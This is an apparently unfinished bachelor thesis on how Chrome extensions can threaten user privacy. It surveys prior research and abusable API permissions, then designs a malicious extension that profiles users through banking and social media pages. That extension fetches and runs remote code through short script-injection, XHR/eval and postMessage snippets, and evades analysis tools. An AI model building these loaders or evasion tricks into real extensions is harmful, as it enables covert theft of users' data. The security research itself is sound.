Privacy Threat Analysis Of Browser Extensions

Analyse der Privatsphäre von Browser-Erweiterungen
Bachelor-Thesis von Arno Manfred Krause
Tag der Einreichung:

1. Gutachten: Referee 1
2. Gutachten: Referee 2

TECHNISCHE UNIVERSITÄT DARMSTADT

Computer Science
cased

Privacy Threat Analysis Of Browser Extensions
Analyse der Privatsphäre von Browser-Erweiterungen

Vorgelegte Bachelor-Thesis von Arno Manfred Krause

1. Gutachten: Referee 1
2. Gutachten: Referee 2

Tag der Einreichung:

Contents

1 Introduction

1.1 Motivation

1.2 Goals

1.3 Approach

2 Related Works

2.1 Threat Analysis And Counter Measurement

The extension architectures of Chrome extensions and Firefox add-ons were the target of several scientific researches and analysis [4, 6, 11, 20, 29, 26]. To counter found security flaws, the researcher proposed different approaches that range from proposals to remove certain functions to complete new extension models.

Barth et al. analyzed Firefox's Add-on model and found several exploits which may be used by attackers to gain access to the user's computer [4]. In their work, they focus on unintentional exploits in extensions which occur because extension developer are often hobby developers and not security experts. Firefox runs its extensions with the user's full privileges including to read and write local files and launch new processes. This gives an attacker who has compromised an extension the possibility to install further malware on the user's computer. Barth et al. proposed a new model for extensions to decrease the attack surface in the case that an extension is compromised. For that purpose, they proposed a privilege separation and divided their model in three separated processes. *Content scripts* have full access to the web pages DOM, but no further access to browser intern functions because they are exposed to potentially attacks from web pages. The browser API is only available to the extension's *background* which runs in another process as the content scripts. Both can exchange messages over a string-based channel. The core has no direct access to the user's machine. It can exchange messages with optionally *native binaries* which have full access to the host.
To further limit the attack surface of extensions, they provided an additional separation between content scripts and the underlying web page called *isolated world*. The web page and each content script runs in its own process and has its own JavaScript object that mirrors the DOM. If a script changes a DOM property, all objects are updated accordingly. On the other hand, if a non-standard DOM property is changed, it is not reflected onto the other objects. This implementation makes it more difficult to compromise a content script by changing the behavior of one of its functions.
For the case, that an attacker was able to compromise the extension's core and gains access to the browser's API, Barth et al. proposed a permission system with the principle of least privileges to reduce the amount of available API functions at runtime. Each extension has by default no access to functions which are provided by the browser. It has to explicit declare corresponding permissions to these functions on installation. Therefore, the attacker can only use API functions which the developer has declared for his extension.
Google adapted the extension model from Barth et al. for their Chrome browser in 2009. Therefore, it is also the basis for the extension model that we analyze in this paper.

Nicholas Carlini et al. evaluated the three security principles of Chrome's extension architecture: *isolated world*, *privilege separation* and *permissions* [6]. They reviewed 100 extensions and found 40 containing vulnerabilities of which 31 could have been avoided if the developer would have followed simple security best practices such as using HTTPS instead of HTTP and the DOM function innerText that does not allow inline scripts to execute instead of innerHtml. Evaluating the isolated world mechanism, they found only three extensions with vulnerabilities in content scripts; two due to the use of eval. Isolated world effectively shields content scripts from malicious web pages, if the developer does not implement explicit cross site scripting attack vectors. Privilege separation should protect the extension's background from compromised content scripts but is rarely needed because content scripts are already effectively protected. They discovered that network attacks are a bigger thread to the extension's background than attacks from a web page. An attacker can compromise an extension by modifying a remote loaded script that was fetched over an HTTP request. The permission system acts as security mechanism in the case that the extension's background is compromised. Their review showed that developers of vulnerable extensions still used permissions in a way that reduced the scope of their vulnerability. To increase the security of Chrome extensions, Carlini et al. proposed to ban the loading of remote scripts over HTTP and inline scripts inside the extension's background. They did not propose to ban the use of eval in light of the facts that eval itself was mostly not the reason for a vulnerability and banning it would break several extensions.

Mike Ter Louw et al. evaluated Firefox's Add-on model with the main goal to ensure the integrity of an extension's code [29]. They implemented an extension to show that it is possible to manipulate the browser beyond the features that Firefox provides to its extensions. They used this to hide their extension completely by removing it from the list of installed extensions and injecting it into an presumably benign extension. Furthermore, their extension collects any user input and data and sends it to an remote server. The integrity of an extension's code can be harmed because Firefox signs the integrity on the extension's installation but does not validate it when loading the extension. Therefore, an malicious extension can undetected integrate code into an installed extension. To remove this vulnerability Louw et al. proposed user signed extensions. On installation the user has to explicit allow the extension which is then signed with a hash certificate. The extension's integrity will be tested against the certificate when it is loaded. To protect the extension's integrity at runtime they added policies on a per extension base such as to disable the access to Firefox's native technologies.

An approach similar to the policies introduced by Louw et al. was developed by Kaan Onarlioglu et al. [26]. They developed a policy enforcer for Firefox Add-ons called *Sentinel*. Their approach adds a runtime monitoring to Firefox Add-ons for accessing the browser's native functionality and acts accordingly to a local policy database. Additional policies can be added by the user which enables a fine grained tuning and to adapt to personal needs. The disadvantage is that the user needs to have knowledge about extension development to use this feature. They implemented the monitoring by modifying the JavaScript modules in the Add-on SDK that interact with the native technologies.

In our work, we contribute an analysis of Chrome's extension architecture with the focus on what attacks we can execute with a malicious extension. Therefore, we analyze the permission model of Chrome extensions and show how we can misuse the corresponding API modules.

2.2 Analysis Of Possible Extension Attacks

Lei Liu et al. evaluated the security of Chrome's extension architecture against intentional malicious extensions [20]. They developed a malicious extension which can execute password sniffing, email spamming, DDoS, and phishing attacks to demonstrate potential security risks. Their extension works with minimal permissions such as access to the tab system and access to all web pages with `http://*/*` and `https://*/*`. To demonstrate that those permissions are used in real world extensions, they analyzed popular extensions and revealed that 19 out of 30 evaluated extensions did indeed use the `http://*/*` and `https://*/*` permissions. Furthermore, they analyzed thread models which exists due to default permissions such as full access to the DOM and the possibility to unrestrictedly communicate with the origin of the associated web page. These capabilities allow malicious extension to execute cross-site request forgery attacks and to transfer unwanted information to any host. To increase the privacy of a user, Liu et al. proposed a more fine grained permission architecture. They included the access to DOM elements in the permission system in combination with a rating system to determine elements which probably contain sensitive information such as password fields or can be used to execute web requests such as iframes or images.

A further research about malicious Chrome extensions demonstrates a large list of possible attacks to harm the user's privacy [5]. Lujo Bauer et al. implemented several attacks such as stealing sensitive information, executing forged web request, and tracking the user. All their attacks work with minimal permissions and often use the `http://*/*` and `https://*/*` permissions. They also exposed that an extension may hide it's malicious intend by not requiring suspicious permissions. To still execute attacks, the extension may communicate with another extension which has needed permissions.

Hulk is an dynamic analysis and classification tool for chrome extensions [17]. It categorizes analyzed extensions based on discoveries of actions that may or do harm the user. An extension is labeled *malicious* if behavior was found that is harmful to the user. If potential risks are present or the user is exposed to new risks, but there is no certainty that these represent malicious actions, the extension is labeled *suspicious*. This occurs for example if the extension loads remote scripts where the content can change without any relevant changes in the extension. The script needs to be analyzed every time it is loaded to verify that it is not malicious. This task can not be accomplished by an analysis tool. Lastly an extension without any trace of suspicious behavior is labeled as *benign*. Alexandros Kapravelos et al. used Hulk in their research to analyze a total of 48,322 extensions where they labeled 130 (0.2%) as malicious and 4,712 (9.7%) as suspicious.
Static preparations are performed before the dynamic analysis takes action. URLs are collected that may trigger the extension's behavior. As sources serve the extension's code base, especially the manifest file with its host permissions and URL pattern for content scripts, and popular sites such as Facebook or Twitter. This task has its limitation. Hulk has no account creation on the fly and can therefore not access account restricted web pages.
The dynamic part consists of the analysis of API calls, in- and outgoing web requests and injected content scripts. Some calls to Chrome's extension API are considered malicious such as uninstalling other extensions or preventing the user to uninstall the extension itself. This is often accomplished by preventing the user to open Chrome's extension tab. Web requests are analyzed for modifications such as removing security relevant headers or changing the target server. To analyze the interaction with or manipulation of a web page Hulk uses so called *honey pages*. Those are based on *honeypots* which are special applications or server that appear to have weak security mechanisms to lure an attack that can then be analyzed. Honey pages consists of overridden DOM query functions that create elements on the fly. If a script queries for a DOM element the element will be created and any interaction will be monitored.

WebEval is an analysis tool to identify malicious chrome extensions [14]. Its main goal is to reduce the amount of human resources needed to verify that an extension is indeed malicious. Therefore it relies on an automatic analysis process whose results are valuated by an self learning algorithm. Ideally the system would run without human interaction. The research of Nav Jagpal *et al.* shows that the false positive and false negative rates decreases over time but new threads result in a sharp increase. They arrived at the conclusion that human experts must always be a part of their system. In three years of usage WebEval analyzed 99,818 extensions in total and identified 9,523 (9.4%) malicious extensions. Automatic detection identified 93.3% of malicious extensions which were already known and 73,7% of extensions flagged as malicious were confirmed by human experts.
In addition to their analysis pipeline they stored every revision of an extension that was distributed to the Google Chrome web store in the time of their research. A weakly rescan targets extensions that fetch remote resources that may become malicious. New extensions are compared to stored extensions to identifying near duplicated extensions and known malicious code pattern. WebEval also targets the identification of developer who distribute malicious extensions and fake accounts inside the Google Chrome web store. Therefore reputation scans of the developer, the account's email address and login position are included in the analysis process.
The extension's behavior is dynamically analyzed with generic and manual created behavioral suits. Behavioral suits replay recorded interactions with a web page to trigger the extension's logic. Generic behavioral suits include techniques developed by Kapravelos et al. for Hulk [17] such as *honeypages*. Manual behavioral suits test an extension's logic explicit against known threads such as to uninstall another extension or modify CSP headers. In addition, they rely on anti virus software to detect malicious code and domain black lists to identify the fetching of possible harmful resources. If new threads surface WebEval can be expanded to quickly respond. New behavioral suits and detection rules for the self learning algorithm can target explicit threads.

VEX is a static analysis tool for Firefox Add-ons [3]. Sruthi Bandhakavi et al. analyzed the work flow of Mozilla's developers who manually analyze new Firefox Add-ons by searching for possible harmful code pattern. They implemented VEX to extend and automatize the developer's search and minimize the amount of false-positive results. VEX statically analyses the flow of information in the source code and creates a graph system that represents all possible information flows. They created pattern for the graph system that detect possible cross site scripting attacks with *eval* or the DOM function *innerHtml* and Firefox specific attacks that exploit the improper use of *evalInSandbox* or wrapped JavaScript objects. More vulnerabilities can be covered by VEX by adding new flow pattern. VEX targets buggy Add-ons without harmful intent or code obfuscation.

Oystein Hallaraker et al. developed an auditing system for Firefox’s JavaScript engine to detect malicious code pieces [11]. The system logs all interaction JavaScript and the browser’s functionalities such as the DOM or or the browser’s native code. The auditing output is compared to pattern to identify possible malicious behavior. Hallaraker et al. did not propose any mechanism to verify that detection results are indeed malicious. The implemented pattern can also match benign code. Their work targets JavaScripts embedded into web pages. Applying their system to extensions could be difficult, because extensions do more often call the browser’s functionalities in an benign way due to an extension’s nature.

2.4 Information Flow Control In JavaScript

Philipp Vogt et al. developed a system to secure the flow of sensitive data in JavaScript browsers and to prevent possible cross site scripting attacks [34] . They taint data on creation and follow its flow by tainting the result of every statement such as simple assignments, arithmetical calculations, or control structures. For this purpose they modified the browser's JavaScript engine and also had to modify the browser's DOM implementation to prevent tainting loss if data is temporarily stored inside the DOM tree. The dynamic analysis only covers executed code. Code branches that indirect depend on sensitive data can not be examined. They added a static analysis to taint every variable inside the scope of tainted data to examine indirect dependencies.
The system was designed to prevent possible cross site scripting attacks. If it recognizes the flow of sensitive data to an cross origin it prompts the user to confirm or decline the transfer. An empirical study on 1,033,000 unique web pages triggered 88,589 (8.58%) alerts. But most alerts were caused by web statistics or user tracking services. This makes their system an efficient tool to control information flow to third parties. The system could be applied to extensions for the same purpose and as security mechanism to prevent data leaking in buggy extensions.

Sabre is a similar approach to the tainting system from Vogt et al. but focused on extensions [8, 34]. It monitors the flow of sensitive information in JavaScript base browser extensions and detects modifications. The developers modified a JavaScript interpreter to add security labels to JavaScript objects. Sabre tracks these labels and rises an alert if information labeled as sensitive is accessed in an unsafe way. Although their system is focused on extensions it needs access to the whole browser and all corresponding JavaScript applications to follow the flow of data. This slows down the browser. Their own performance tests showed an overhead factor between 1.6 and 2.36. A further disadvantage is that the user has to decide if an alert is justified. The developer added a white list for false positive alarms to compensate this disadvantage.

3 Background

3.1 Terminology

3.1.1 Browser

3.1.2 Browser Extension

3.1.3 Web Application

3.1.4 Web Page

Document Object Model (DOM)

Same Origin Policy (SOP)

Content Security Policy (CSP)

XMLHttpRequest (XHR)

3.2 Extension Architecture

3.2.1 General Structure

Extensions are developed in the web technologies JavaScript, HTML, and CSS. They consist of two parts: the extension's background and content scripts. Each extension has a manifest that holds the its meta information.

Background

Content Scripts

The extension has no direct access to a web page from withing its background process. Therefore, it executes content scripts in the scope of the web page with access to the web page's DOM. The extension's content scripts and background can not directly interact with each other. They can only exchange messages over a string-based channel. This communication channel comes in handy, because content scripts have almost no access to the browser's provided functions.

An extension can register a content script in combination with an URL pattern which is then injected in each web page whose URL matches the pattern. Wildecards in the URL pattern allow to register a content script for multiple web pages. For example, a content script with the URL pattern `http://*.example.com/*` would be injected into the pages `http://api.example.com/` and `http://www.example.com/foo` but not into the pages `https://www.example.com/` and `http://www.example.org/`.

3.2.2 Differences Between The Browsers

Chrome Extensions

Chrome's extension architecture is based on a research from Barth et al. in 2010 [4]. In their work they investigated the old extension model of Mozilla's Firefox and revealed many vulnerabilities in connection to Firefox extensions running with the user's full privileges. This enables the extension to access arbitrary files and launch new processes. They proposed an new model with a strict separation of an extension's components and an permission system to make it more difficult for an attacker to gain access to the user's machine.

They analyzed Firefox's extension architecture and found several threats which allow an attacker to compromise the extension and the user's computer. This is due to the fact that a Firefox extension has access to the user's machine, can read and write files, and can even start other applications. To protect the user from exploited extensions, they proposed a more secure model for extensions. Their approach contains the three main principles *privilege separation*, *least privileges*, and *strong isolation*.

- **Privilege Separation** The extension is divided in three components with different privileges. Content scripts have direct access to the web page and are therefore exposed to potential malicious web content. They have no further privileges except exchanging messages with the background. The background can only interact with the web page using content scripts. It has full access to the browser's API but no access to the user's host machine. Finally, optionally included native binaries can access the user's operating system. The background can exchange messages with the binaries, too.

- **Least Privileges** To restrict the access to the browser API in the case that the extension is exploited by an attacker, Barth et al. proposed a permission system for the browser's API modules. The extension has only access to a module if it has explicitly declared a corresponding permission in its manifest. Because the extension's manifest is static and not editable at runtime, an attacker has only access to declared API modules. This efficiently decreases the attacker's operating range and the harm he can cause.

- **Strong Isolation** Each of an extension's component runs in a separate operating system process which disables any direct interaction between them. An attacker can target only the content script from within a web page and has to forward his malicious input from the content script to the extension's background and along to the native binaries to gain access to the user's host machine.
  A further separation exists between content scripts among each other and the web page. Each runs in its own process on the operating system with its own JavaScript heap. It is not possible to invoke a function on a script in another process. This prevents a malicious script in a web page from altering a content script and probably exploit the extension. They only share the web page's DOM among each other. To prevent that a malicious web page overrides a DOM method, each process has its own instance of the `document` object that mirrors the DOM object which is stored natively in the browser. Any change to the document object, that is not executed over the standard DOM API is not mirrored to other instances of the DOM.

Firefox Add-ons

Safari Extensions

4 Threat Analysis

An extension can use a wide range of different features to enhance the user's interaction with a web page. We want to show that these features may be used by a developer of a malicious extension to harm the user. For that purpose, we have analyzed the browser API modules and found potential threats. We have found several permissions and modules that an attacker may use to harm the user's privacy, use his device to launch attacks against others, or remove privacy preserving measures and therefore support other attacks. We also found some constructs which preserve the privacy of the user if used correctly.

The biggest threat to the user's privacy that an extension posses is its full access to a web page. If the extension uses a content script with a URL pattern that matches any web page, it has access to any user data. There exists no further restriction such as additional permissions to access password fields or other container of sensitive data.

The following paragraphs show the threats we found in the browser's API modules. Each paragraph has the module's name as heading which is equal to the associated permission. Additionally, if the permission results in a warning on the extension's installation, we added it to the paragraph.

background

If one or more extensions with the background permission are installed and active, the browser starts its execution with the user's login without being invoked and without opening a visible window. The browser will not terminate when the user closes its last window but keeps staying active in the background. This behavior is only implemented in Chrome and can be disabled generally in Chrome's settings.

A malicious extension with this permission can still execute attacks even when no browser window is open.

bookmarks

This module gives access to the browser bookmark system. The extension can create new bookmarks, edit existing ones, and remove them. It can also search for particular bookmarks based on parts of the bookmark's title, or URL and retrieve the recently added bookmarks.

The user's bookmarks give information about his preferences and used web pages. This may be used to identify the currently active user or to determinate potential web page targets for further attacks.

On installation, an extension with this permission shows the user the following warning:

Read and modify your bookmarks

contentSettings

The browser provides a set of *content settings* that control whether web pages can include and use features such as cookies, JavaScript, or plugins. This module allows an extension to overwrite these settings on a per-site basis instead of globally.

A malicious extension can disable settings which the user has explicitly set. This will probably decrease the user's security while browsing the web and support malicious web pages.

On installation, an extension with this permission shows the user the following warning:

Manipulate settings that specify whether websites can use features such *as cookies, JavaScript, plugins, geolocation, microphone, camera etc.*

cookies

This module give an extension read and write access to all currently stored cookies, even to *httpOnly* cookies that are normally not accessible by client-side JavaScript.

An attacker may use an extension to steal session and authentication data which are commonly stored in cookies. This allows him to act with the user's privileges on affected websites. Furthermore, an malicious extension may restore deleted tracking cookies and thereby support user tracking attempts from websites.

downloads

This module allows an extension to initiate and monitor downloads. Some of the module's functions are further restricted by additional permissions. To open a downloaded file, the extension needs the `downloads.open` permission and to enabled or disable the browser's download shelf, the extension needs the permission `downloads.shelf`.

With the additional permission `downloads.open`, a malicious extension can download a harmful file and execute it. Another malicious approach is to exchange a benign downloaded file with a harmful one without the user noticing.

geolocation

The HTML5 geolocation API provides information about the user's geographical location to JavaScript. With the default browser settings, the user is prompted to confirm if a web page want's to access his location. If an extension uses the geolocation permission, it can use the API without prompting the user to confirm.

On installation, an extension with this permission shows the user the following warning:

Detect your physical location

management

This module provides information about currently installed extensions. Additionally, it allows to disable and uninstall extensions. To prevent abuse, the user is prompted to confirm if an extension wants to uninstall another extension.

An attacker may use the feature to disable another extension to silently disable security relevant extension such as *Adblock*[1], *Avira Browser Safety*[2], or *Avast Online Security*[3].

On installation, an extension with this permission shows the user the following warning:

Manage your apps, extensions, and themes

proxy

Allows an extension to add and remove proxy server to the browser's settings. If a proxy is set, all requests are transmitted over the proxy server.

This feature may be used by an attacker to send all web requests over a malicious server. For example, a server that logs all requests and therefore steal any use information that is transmitted unsecured.

[1] AdBlock on the Chrome Web Store: `https://chrome.google.com/webstore/detail/adblock/gighmmpiobklfepjocnamgkkbiglidom`

[2] Avira Browser Safety on the Chrome Web Store: `https://chrome.google.com/webstore/detail/avira-browser-safety/flliilndjeohchalpbbcdekjklbdgfkk`

[3] Avast Online Security on the Chrome Web Store: `https://chrome.google.com/webstore/detail/avast-online-security/gomekmidlodglbbmalcneegieacbdmki`

On installation, a extension with this permission shows the user the following warning:

Read and modify all your data on all websites you visit

system

The `system.cpu`, `system.memory`, and `system.storage` permissions provide technical information about the user's machine.

These information may be used to create a profile of the current user's machine and identify him on later occasions.

tabs

An extension can access the browser's tab system with the tabs module. This enables the extension to create, update, or close tabs. Furthermore, it provides the functionality to programmatically inject content scripts into web pages and to interact with a content script which is active in a particular tab. To inject a content script, the extension needs a proper host permission that matches the tab's current web page. The tabs permission does not restrict the access to the tabs module but only the access to the URL and title of a tab.

A malicious extension may prevent the user from uninstalling it by closing the browser's extensions tab as soon as the user opens it. The programmatically injection takes a content script either as a file in the extension's bundle or as a string of code. Therefore, a malicious extension may inject remotely loaded code into a web page as a content script that executes further attacks.

On installation, an extension with this permission shows the user the following warning:

Access your browsing activity

webRequest

This module gives an extension access to in- and outgoing web requests. The extension can redirect, or block requests and modify the request's header.

A malicious extension can use this module to remove security relevant headers such as the `X-Frame-Options` that states whether or not the web page can be loaded into an iframe, or a CSP. Furthermore, the extension can redirect requests from benign to malicious web pages.

This permission itself does not result in a warning when an extension that requires it is installed. But, to get access to the data of a web request the extension needs proper host permissions and these result in a warning. The often used host permissions `http://*/*`, `https://*/*`, and `<all_urls>` result in the following warning:

Read and modify your data on all websites you visit

5 Design

We have analyzed potential threats in the browser API and showed our results in the previous chapter. In this chapter we present our design and implementation to proof that the results of our theoretical analysis are applicable in practical scenarios.

Our implementation is integrable in a benign extension. For that purpose, it consists of interchangeable features with different permissions to match the benign extension's permissions. Of course, we are not able to execute a specific attack that needs other permissions as declare by the benign extension. To be able to execute different attacks and to hide our malicious intentions, our core implementation which is integrated in the benign extension is only responsible to identify the current user. If the identification was successful, our implementation will remotely fetch the source code for an attack and execute it. In conclusion, our design consists of the following three steps where each consists of interchangeable features:

1. Identify the current user.
2. Fetch the source code for an attack.
3. Execute the fetched attack.

This design brings several advantages. Because the code for an attack is fetched remotely at runtime, our implementation is able to bypass a static analysis which uses content matching to find known malicious code pattern. Furthermore, the identification of the current user allows us not only to attack a worthwhile target but also to bypass a dynamic analysis. If we are able to detect that our implementation is currently the target of a dynamic analysis, we can fetch a benign script instead of our attack script.

5.1 Identification

Identifying the current user of our extension allows us to target our attack only at specific users. In beforehand, we can evaluate whether or not an attack is worthwhile if we collect as much as possible pieces of information about the user such his financial status or his position in a company we want to target. Furthermore, we are able to detect if our extension is target of an dynamic analysis such as *Hulk* or *WebEval* and evade detection [17, 14].

We have analyzed common approaches to identify a user and how we can use these for our implementation.

5.1.1 User Tracking

User tracking refers to the linking of multiple web pages that were visited by the same user. Applying this technique to web page's that belong to the same website allows to follow the user's path through the website's pages and determine his entry and exit points. This way is commonly used for web analytics to help the website's author to improve the usability of his layout. User tracking between different domains produces an overview about the user's movement through the Internet. It is often used by advertising companies to gain information about the user's personal needs and preferences to provide personalized advertisements.

The general method for user tracking includes a unique identifier which is intentionally stored on the user's machine the first time he visits a tracking website. If the identifier is retrieved on later occasions, the tracking party is notified that the same user has accessed another web page.

- **Tracking Cookies** The most used web technology to track users are HTTP cookies. If a user visits a web page that includes a resource from a tracking third-party, a cookie is fetched together with the requested resource and acts as an identifier for the user. When the user now visits a second web page that again includes some resource from the third-party, the stored cookie is send along with the request for the third-party's resource. The third-party vendor has now successfully tracked the user between two different web pages.

- **Local Shared Objects** Flash player use a technique similar to cookies to synchronize data between different browser sessions. The data is locally stored on the user's system by websites that use flash. Flash cookies as tracking mechanism have the advantage that they track the user behind different browsers and they can store up to 100KB whereas HTTP cookies can only store 4KB. Before 2011, the user could not easily delete local shared objects from within the browser because browser plugins hold the responsibility for their own data. In 2011 a new API was published that simplifies this mechanism [2].

- **Evercookies** Evercookie is a JavaScript framework implemented to produce persistent identifiers in a browser that are difficult to remove [16]. For that purpose, it uses multiple storage technologies such as HTTP and Flash cookies, HTML5 storages, web history and cache, and unusual techniques such as storing the identifier in RGB values of cached graphics. To hamper the removing from a browser, it recreates deleted identifiers as soon as the user visit a web site that uses the framework. The user has to delete every stored identifier to remove the evercookie completely.

- `Web Beacon` A web beacon is a remote loaded object that is embedded into an HTML document usually a web page or an email. It reveals that the document was loaded. Common used beacons are small and transparent images, usually one pixel in size. If the browser fetches the image it sends a request to the image's server and sends possible tracking cookies along. This allows websites to track their user on other sites or gives the email's sender the confirmation that his email was read. An example is Facebook's "like" button or similar content from social media websites. Those websites are interested into what other pages their users visit. The "like" button reveals this information without the need to be invoked by the user.

5.1.2 Fingerprinting

Previously described methods for tracking a user identify him based on some data which was intentionally stored on the user's system. Those stored identifiers are vulnerable to deletion by the user. A study from 2010 showed that a browser reveals many browser- and computer-specific information to web pages [9]. Collection and merging these pieces of information creates a fingerprint of the user machine. Creating a second fingerprint at a later point in time and comparing it to stored fingerprints makes it possible to track and identify the user without the need to store an identifier on his computer. Because the same kind of information taken from different users will probably equal, it is necessary to collect as much information as possible to create a unique fingerprint.

The technique of fingerprinting is nowadays mostly used by advertising companies to get a more complete view of the user and his needs than from simple tracking, and anti-fraud systems that detect if the currently used credentials or device belong to the current user and are not stolen.

There exists numerous scientific papers about fingerprinting from which we present a small subset of techniques with brief descriptions [28, 22, 24, 9, 23, 25].

- **Browser Fingerprinting** The browser provides a variety of technical information to a web page that can be used to generate a fingerprint of the currently used device. The following list shows examples of these properties and how to access them using JavaScript.

Property	**JavaScript API**	**Example Output**
System	`navigator.platform`	"Win32"
Browser Name	`navigator.userAgent`	"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0"
Browser Engine	`navigator.appName`	"Netscape"

Screen Resolution	`screen.width`
	`screen.height`
	`screen.pixelDepth`
		1366 (pixels)
		768 (pixels)
		24 (byte per pixel)

Timezone	`Date.getTimezoneOffset()`	-60 (equals UTC+1)
Browser Language	`navigator.language`	"de"
System Languages	`navigator.languages`	["de", "en-US", "en"]

- **Fonts** The fonts installed on the user's machine can serve as part of a user identification. The browser plugin *Flash* provides an API that returns a list of fonts installed on the current system (`Font.enumerateFonts(true)`)[13]. If the Flash plugin is not available in a browser, JavaScript can be used to test whether particular fonts are available to the current web page or not. This approach needs a predefined list and may not cover unpopular fonts. It is implemented by writing a string with each font on the web page. If a font is not installed, the browser uses a fall-back font to draw the text. Comparing the width and height of the drawn font to those of the fall-back font gives an evidence whether or not the font is installed.

- **History Sniffing** Reading out the user's web history can not only serve as fingerprinting method but also to simplify user tracking. An outdated approach to test if a user has visited a particular web page was to use the browser's feature to display links to visited web pages in a different color. A web site would hidden from the user add a list of URLs to a web page as link elements and determinate the displayed color. Nowadays, link elements that were queried by JavaScript calls behave like unvisited links fixing the thread from this sniffing attack. A current approach detects the redrawing of link elements to determine if the underlying web page was visited before [28]. If a link is drawn the first time, it is drawn as an unvisited link and simultaneously a query to the browser's web history database is send. When the query returns that the web page behind the link was visited before, it redraws the link element. The time it takes to redraw the element can be captured giving the desired evidence.

- **JavaScript Benchmark Testing** The execution speed of a JavaScript engine depends on the implementation but also on the systems processor architecture and clock speed. Mowery et al. implemented a set of benchmark test suits to fingerprint different execution speeds [22]. Using these information, they could distinguish between major browser versions, operating systems and micro architectures.

5.1.3 User Identification With Extensions

Besides the before described techniques of user tracking and fingerprinting, an extension has more efficient ways to identify a user. The extension has full access to any web page that the user visits and is able to read out any information that is stored in these web pages. This allows us to even identify the person behind the web user by extraction personal information such as his full name, address, or phone number.

We have extracted three worthwhile targets for our extension:

- **Social Media** Many people use real names and other personal information for their social media account. If we have access to the account editing page, we can read out the user's data. Furthermore, we can extract information such as the user's social or business environment while the user visits related web pages.

- **Online Banking** We can identify the current user based on his account numbers if he uses his online banking account. Moreover, we can extract his financial status which gives us information whether or not an attack is worthwhile.

- **Email Account**

5.2 Fetching

An extension has several possibilities to load a script from a remote server. In this section we present the techniques we use for our implementation. Table 5.1 at the end of this section shows a summary of all techniques and what privileges an extension needs for each.

5.2.1 Script Element In Background

HTML pages which are bundled in the extension's installation can include script elements with a source attribute pointing to a remote server. If the extension is executed and the page is loaded, the browser automatically loads and executes the remote script. This mechanism is often used to include public scripts, for example from Google Analytics.

An extension needs to explicitly state that it wants to fetch remote scripts in its background page. The default Content Security Policy disables the loading of scripts per script element which have another origin than the extension's installation. We can relax the default CSP and enable the loading of remote scripts over HTTPS by adding a URL pattern for the desired origin.

5.2.2 Script Element In Content Script

If we want to execute a remote loaded script only in the scope of a web page, we can take use of the DOM API. It allows us to add a new script element to the current web page. If we set the source attribute of the script element to the URL of our remote server, the browser will fetch and execute the script for us. We implemented the content script shown in Code Extract 1 which executes a remotely loaded script in any web page without the need for further permissions. The content script creates a new script element (line 1), sets the element's source attribute to the URL of our remote server (line 2), and appends it to the web page's body (line 3). The remote loaded script is immediately executed.

```
1    var script = document.createElement('script');
2    script.setAttribute('src', REMOTE_RESOURCE_URL);
3    document.body.appendChild(script);
```

Code Extract 1: Content script that fetches a remotely loaded script and executes it

5.2.3 XMLHttpRequest

Extensions are able to load resources with a XMLHttpRequest. If called from a content script, the XMLHttpRequest will be blocked by the Same Origin Policy if the target does not match the current web page's origin. However, the same restriction does not apply to the extension's background. If the XMLHttpRequest is executed from within the background process, any arbitrary host is allowed as target if a matching host permission is declared in the extension's manifest. Our implementation uses a host permission that matches any URL such as `http://*/*`, `https://*/*`, or `<all_urls>`. This allows us to disguise the concrete URL of our remote server in the warnings on installation. The JavaScript extract in Code Extract 2 shows a general approach how to fetch a remote script with an XMLHttpRequest.

```
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() { handleResponse(); };
xhr.open('POST', REMOTE_RESOURCE_URL);
xhr.send();
```

Code Extract 2: Load remote script with a XMLHttpRequest

Before we can execute a remote loaded script, we have to consider what the scripts objectives are. Whether it should act in the extension's background or as a content script. If the first case applies, we can use the JavaScript method `eval` to execute the remote loaded text as a JavaScript application. The use of eval is frowned upon because it is a main source of XSS attacks if not used correctly [1]. On that account, the default CSP disables the use of eval in the extension's background process. We can relax the default policy and add the key `unsafe_eval` to lift the restriction.

If we want to execute the remote loaded script as a content script, we can programmatically inject it. The method `chrome.tabs.executeScript` executes a given string as a content script in a currently open tab. The use of this function is not restricted by a permission. But to access the web page in the tab, the extension needs a proper host permission that matches the web page's URL. Because we have fetched the script with an XHR, we already declared host permissions that match any URL to execute the request.

5.2.4 Mutual Extension Communication

An extension is able to communicate with another extension. This opens the possibility of a permission escalation as previously described by Bauer et al. [5]. The extension which executes the attack does not need the permissions to fetch the malicious script. Another extension can execute this task and then send the remote script to the executing extension. This allows to give both extensions less permissions and thus making them less suspicious especially for automatic analysis tools. To detect the combined malicious behavior, an analysis tool has to execute both extensions simultaneously. This is a very unconventional approach, because an analysis often targets only a single extension at a time.

A communication channel that does not need any special interface can be established over any web page's DOM. All extensions with an active content script in the same web page have access to the same DOM. The extensions which want to communicate with each other can agree upon a specific DOM element and set it's text to exchange messages. Another way to exchange messages is to use the DOM method `window.postMessage`. This method dispatches a `message` event on the web pages `window` object. Any script with access to the web page's `window` object can register to be notified if the event was dispatched and then read the message.

The code shown in Code Extract 3 and Code Extract 4 is an example how to use this method. In Code Extract 3 we add an event listener to the `window` object that listens to the `message` event. The event handler method awaits the key `from` to be present in the event's data object and the value of `from` to equal `extension`. We use this condition to identify messages which were dispatched by an extension. Further, the handler awaits that the message from the other extension is stored with the `message` key. In Code Extract 4 we create our message object with the key-value pairs `'from':'extension'` and `'message':'secret'` and call the *postMessage* method with our message object as first parameter. The second parameter defines what the origin of the `window` object must be in order for the event to be dispatched. In our case, the web page and all content scripts share the same `window` object. Therefore, a domain check is unnecessary and we us a wildecard to match any domain.

```
window.addEventListener('message', function(event) {
    if(event.data.from && event.data.from === 'extension') {
        handle(event.data.message);
    }
});
```

Code Extract 3: Event handler for the postMessage method

```
var message = {
    'from'   : 'extension',
    'message': remotelyLoadedScript
}
window.postMessage(message, '*');
```

Code Extract 4: Call of the postMessage method

Technique	Needed Privileges
Script Element In Background	Modified CSP with remote server URL
Script Element in Content Script	Content Script in any web page
XMLHttpRequest, execute in background	Host permission `http://*/*`, `https://*/*` or <`all_urls`> and Modified CSP with `unsafe_eval`
XMLHttpRequest, execute in content script	Host permission `http://*/*`, `https://*/*` or <`all_urls`>
Mutual Extension Communication	Second extension, content script in arbitrary web page

Table 5.1: Summary of techniques to load and execute a remote script with needed privileges.

5.3 Execution

5.3.1 Remote Communication

